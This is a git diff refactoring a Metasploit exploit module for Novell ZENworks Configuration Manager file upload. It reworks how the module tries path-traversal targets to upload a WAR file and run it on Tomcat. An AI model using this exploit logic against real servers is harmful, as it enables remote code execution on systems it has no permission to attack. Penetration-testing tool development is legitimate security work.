diff --git a/modules/exploits/multi/http/zcm_file_upload.rb b/modules/exploits/multi/http/zcm_file_upload.rb index 957e981dd9..44dc1a248f 100644 --- a/modules/exploits/multi/http/zcm_file_upload.rb +++ b/modules/exploits/multi/http/zcm_file_upload.rb @@ -53,11 +53,11 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(443), OptBool.new('SSL', - [ true, 'Use SSL', true ]), + [true, 'Use SSL', true]), OptString.new('TARGETURI', - [ true, 'The base path to ZCM / ZENworks Suite', '/zenworks/' ]), + [true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']), OptString.new('TOMCAT_PATH', - [ false, 'The Tomcat webapps traversal path (from the temp directory)', '' ]) + [false, 'The Tomcat webapps traversal path (from the temp directory)']) ], self.class) end @@ -116,18 +116,14 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - if datastore['TOMCAT_PATH'] != '' - if not upload_war_and_exec(datastore['TOMCAT_PATH']) - return - end - else - # These paths should cover the Virtual Appliance, Windows and SLES installations - tomcat_paths = [ '../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/' ] - if not upload_war_and_exec(tomcat_paths[0]) - if not upload_war_and_exec(tomcat_paths[1]) - return - end - end + tomcat_paths = [] + if datastore['TOMCAT_PATH'] + tomcat_paths << datastore['TOMCAT_PATH'] + end + tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/']) + + tomcat_paths.each do |tomcat_path| + break if upload_war_and_exec(tomcat_path) end end end